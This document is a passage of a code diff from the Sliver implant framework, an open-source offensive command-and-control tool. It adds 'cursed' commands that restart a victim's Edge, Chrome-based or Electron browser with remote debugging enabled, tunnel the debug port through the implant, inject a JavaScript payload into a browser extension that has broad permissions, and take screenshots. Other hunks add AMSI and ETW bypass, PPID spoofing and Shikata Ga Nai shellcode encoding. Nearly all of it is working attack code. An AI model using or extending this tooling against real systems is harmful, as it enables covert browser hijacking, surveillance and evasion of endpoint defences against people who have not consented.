+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"io/ioutil"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath := ctx.Flags.String("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = ioutil.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraEdge(session, ctx, con)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Edge extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Edge extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	edgeProcess, err := getEdgeProcess(session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if edgeProcess != nil {
+		con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     edgeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(true, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func isEdgeProcess(executable string) bool {
+	var edgeProcessNames = []string{
+		"msedge",         // Linux
+		"microsoft-edge", // Linux
+		"msedge.exe",     // Windows
+		"Microsoft Edge", // Darwin
+	}
+	for _, suffix := range edgeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isEdgeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
@@ -0,0 +1,229 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"log"
+	insecureRand "math/rand"
+	"path"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	electronExe := ctx.Flags.String("exe")
+	if electronExe == "" {
+		con.PrintErrorf("Missing --exe flag, see --help\n")
+		return
+	}
+
+	curse := avadaKedavraElectron(electronExe, session, ctx, con)
+	if curse == nil {
+		return
+	}
+	con.PrintInfof("Checking for debug targets ...")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	if len(targets) == 0 {
+		con.PrintErrorf("Zero debug targets found\n")
+		return
+	}
+	con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
+}
+
+func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	exists, err := checkElectronPath(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return nil
+	}
+	if !exists {
+		con.PrintErrorf("Executable path does not exist: %s", electronExe)
+		return nil
+	}
+	electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if electronProcess != nil {
+		con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
+		con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     electronProcess.Pid,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
+	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    electronExe,
+	})
+	if err != nil {
+		return false, err
+	}
+	return ls.GetExists(), nil
+}
+
+func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
+
+func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
+	debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    electronExe,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", electronExec.GetPid())
+
+	con.PrintInfof("Waiting for process to initialize ... ")
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:   session.ID,
+		PID:         electronExec.GetPid(),
+		PortFwd:     portFwd,
+		BindTCPPort: bindPort,
+		Platform:    session.GetOS(),
+		ExePath:     electronExe,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
+
+func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
@@ -0,0 +1,75 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	kill := ctx.Flags.Bool("kill")
+	bindPort := ctx.Args.Int("bind-port")
+	core.CloseCursedProcessesByBindPort(session.ID, bindPort)
+	if kill {
+		confirm := false
+		err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s", err)
+			return
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return
+		}
+		// Get cursed process
+		var cursedProc *core.CursedProcess
+		curses := core.CursedProcessBySessionID(session.ID)
+		for _, curse := range curses {
+			if curse.BindTCPPort == bindPort {
+				cursedProc = curse
+			}
+		}
+		if cursedProc == nil {
+			con.PrintErrorf("Failed to find cursed process\n")
+			return
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     int32(cursedProc.PID),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return
+		}
+	}
+}
@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
+	quality := ctx.Flags.Int64("quality")
+	if quality < 1 || quality > 100 {
+		con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
+		return
+	}
+	data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
+	if err != nil {
+		con.PrintErrorf("Failed to take screenshot: %s\n", err)
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
+	}
+	err = ioutil.WriteFile(saveFile, data, 0644)
+	if err != nil {
+		con.PrintErrorf("Failed to save screenshot: %s\n", err)
+		return
+	}
+	con.PrintInfof("Screenshot saved to %s\n", saveFile)
+}
@@ -0,0 +1,109 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"strconv"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	cursedProcesses := [][]string{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		curse := value.(*core.CursedProcess)
+		cursedProcesses = append(cursedProcesses, []string{
+			fmt.Sprintf("%d", curse.BindTCPPort),
+			strings.Split(curse.SessionID, "-")[0],
+			fmt.Sprintf("%d", curse.PID),
+			curse.Platform,
+			curse.ExePath,
+			curse.DebugURL().String(),
+		})
+		return true
+	})
+	if 0 < len(cursedProcesses) {
+		tw := table.NewWriter()
+		tw.SetStyle(settings.GetTableStyle(con))
+		tw.AppendHeader(table.Row{
+			"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
+		})
+		for _, rowEntries := range cursedProcesses {
+			row := table.Row{}
+			for _, entry := range rowEntries {
+				row = append(row, entry)
+			}
+			tw.AppendRow(table.Row(row))
+		}
+		con.Printf("%s\n", tw.Render())
+	} else {
+		con.PrintInfof("No cursed processes\n")
+	}
+}
+
+func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
+	cursedProcesses := []*core.CursedProcess{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
+		return true
+	})
+	if len(cursedProcesses) < 1 {
+		con.PrintErrorf("No cursed processes\n")
+		return nil
+	}
+
+	port2process := map[int]*core.CursedProcess{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, cursedProcess := range cursedProcesses {
+		fmt.Fprintf(table, "%d\t%s\t%s\n",
+			cursedProcess.BindTCPPort,
+			fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
+			cursedProcess.ExePath)
+		port2process[cursedProcess.BindTCPPort] = cursedProcess
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a curse:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
+	return port2process[selectedPortNumber]
+}
@@ -20,13 +20,11 @@ package exec

 import (
 	"context"
-	"fmt"
 	"io/ioutil"
-	"os"
 	"path/filepath"
 	"strings"

-	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -60,19 +58,43 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)

 	assemblyArgs := ctx.Args.StringList("arguments")
 	process := ctx.Flags.String("process")
+	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
+
+	runtime := ctx.Flags.String("runtime")
+	etwBypass := ctx.Flags.Bool("etw-bypass")
+	amsiBypass := ctx.Flags.Bool("amsi-bypass")
+
+	assemblyArgsStr := strings.Join(assemblyArgs, " ")
+	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
+	if len(assemblyArgsStr) > 256 {
+		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}

 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:   con.ActiveTarget.Request(ctx),
-		IsDLL:     isDLL,
-		Process:   process,
-		Arguments: strings.Join(assemblyArgs, " "),
-		Assembly:  assemblyBytes,
-		Arch:      ctx.Flags.String("arch"),
-		Method:    ctx.Flags.String("method"),
-		ClassName: ctx.Flags.String("class"),
-		AppDomain: ctx.Flags.String("app-domain"),
+		Request:     con.ActiveTarget.Request(ctx),
+		IsDLL:       isDLL,
+		Process:     process,
+		Arguments:   assemblyArgsStr,
+		Assembly:    assemblyBytes,
+		Arch:        ctx.Flags.String("arch"),
+		Method:      ctx.Flags.String("method"),
+		ClassName:   ctx.Flags.String("class"),
+		AppDomain:   ctx.Flags.String("app-domain"),
+		ProcessArgs: processArgs,
+		PPid:        uint32(ctx.Flags.Int("ppid")),
+		Runtime:     runtime,
+		EtwBypass:   etwBypass,
+		AmsiBypass:  amsiBypass,
+		InProcess:   ctx.Flags.Bool("in-process"),
 	})
 	ctrl <- true
 	<-ctrl
@@ -80,7 +102,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("%s", err)
 		return
 	}
-	hostname := getHostname(session, beacon)
+	hostName := getHostname(session, beacon)
 	if execAssembly.Response != nil && execAssembly.Response.Async {
 		con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, execAssembly)
@@ -88,52 +110,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+
+			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(execAssembly.Response)
 	} else {
-		PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
 	}
 }

-// PrintExecuteAssembly - Print the results of an assembly execution
-func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
-	assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")

 	if execAssembly.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
 		return
 	}

-	var outFilePath *os.File
-	var err error
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, err = ioutil.TempFile("", outFile)
-	}
-	con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
-	if outFilePath != nil {
-		outFilePath.Write(execAssembly.GetOutput())
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-	}
+	PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)

-	if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
-		name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
-		err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
-		if err != nil {
-			con.PrintErrorf("Failed to save output as loot: %s\n", err)
-		} else {
-			con.PrintInfof("Output saved as loot\n")
-		}
+	if saveLoot {
+		LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
 	}
 }
-
-func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
-	if session != nil {
-		return session.Hostname
-	}
-	if beacon != nil {
-		return beacon.Hostname
-	}
-	return ""
-}
@@ -31,7 +31,7 @@ import (
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"golang.org/x/crypto/ssh/terminal"
+	"golang.org/x/term"
 	"google.golang.org/protobuf/proto"

 	"github.com/desertbit/grumble"
@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}

+	rwxPages := ctx.Flags.Bool("rwx-pages")
 	interactive := ctx.Flags.Bool("interactive")
 	if interactive && beacon != nil {
 		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
+	shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
+	if shikataGaNai {
+		if !rwxPages {
+			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
+			return
+		}
+		arch := ctx.Flags.String("architecture")
+		if arch != "386" && arch != "amd64" {
+			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
+			return
+		}
+		iter := ctx.Flags.Int("iterations")
+		con.PrintInfof("Encoding shellcode ...\n")
+		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+			Architecture: arch,
+			Iterations:   uint32(iter),
+			BadChars:     []byte{},
+			Data:         shellcodeBin,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err.Error())
+			return
+		}
+		oldSize := len(shellcodeBin)
+		shellcodeBin = resp.GetData()
+		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
+	}
+
 	if interactive {
-		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
 		return
 	}
 	ctrl := make(chan bool)
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	con.SpinUntil(msg, ctrl)
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
-		RWXPages: ctx.Flags.Bool("rwx-pages"),
+		RWXPages: rwxPages,
 		Pid:      uint32(pid),
 		Request:  con.ActiveTarget.Request(ctx),
 	})
@@ -125,7 +155,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 		return
 	}

-	tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
+	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())

 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(ctx),
@@ -161,9 +191,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
 	con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)

-	var oldState *terminal.State
+	var oldState *term.State
 	if !noPty {
-		oldState, err = terminal.MakeRaw(0)
+		oldState, err = term.MakeRaw(0)
 		log.Printf("Saving terminal state: %v", oldState)
 		if err != nil {
 			con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +225,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,

 	if !noPty {
 		log.Printf("Restoring terminal state ...")
-		terminal.Restore(0, oldState)
+		term.Restore(0, oldState)
 	}

 	log.Printf("Exit interactive")
@@ -18,7 +18,11 @@ package exec
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
 	"strings"
+	"time"

 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
@@ -41,6 +45,13 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	output := ctx.Flags.Bool("output")
 	stdout := ctx.Flags.String("stdout")
 	stderr := ctx.Flags.String("stderr")
+	saveLoot := ctx.Flags.Bool("loot")
+	saveOutput := ctx.Flags.Bool("save")
+	ppid := ctx.Flags.Uint("ppid")
+	hostName := getHostname(session, beacon)
+
+	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
+	var captureOutput bool = output || saveLoot || saveOutput

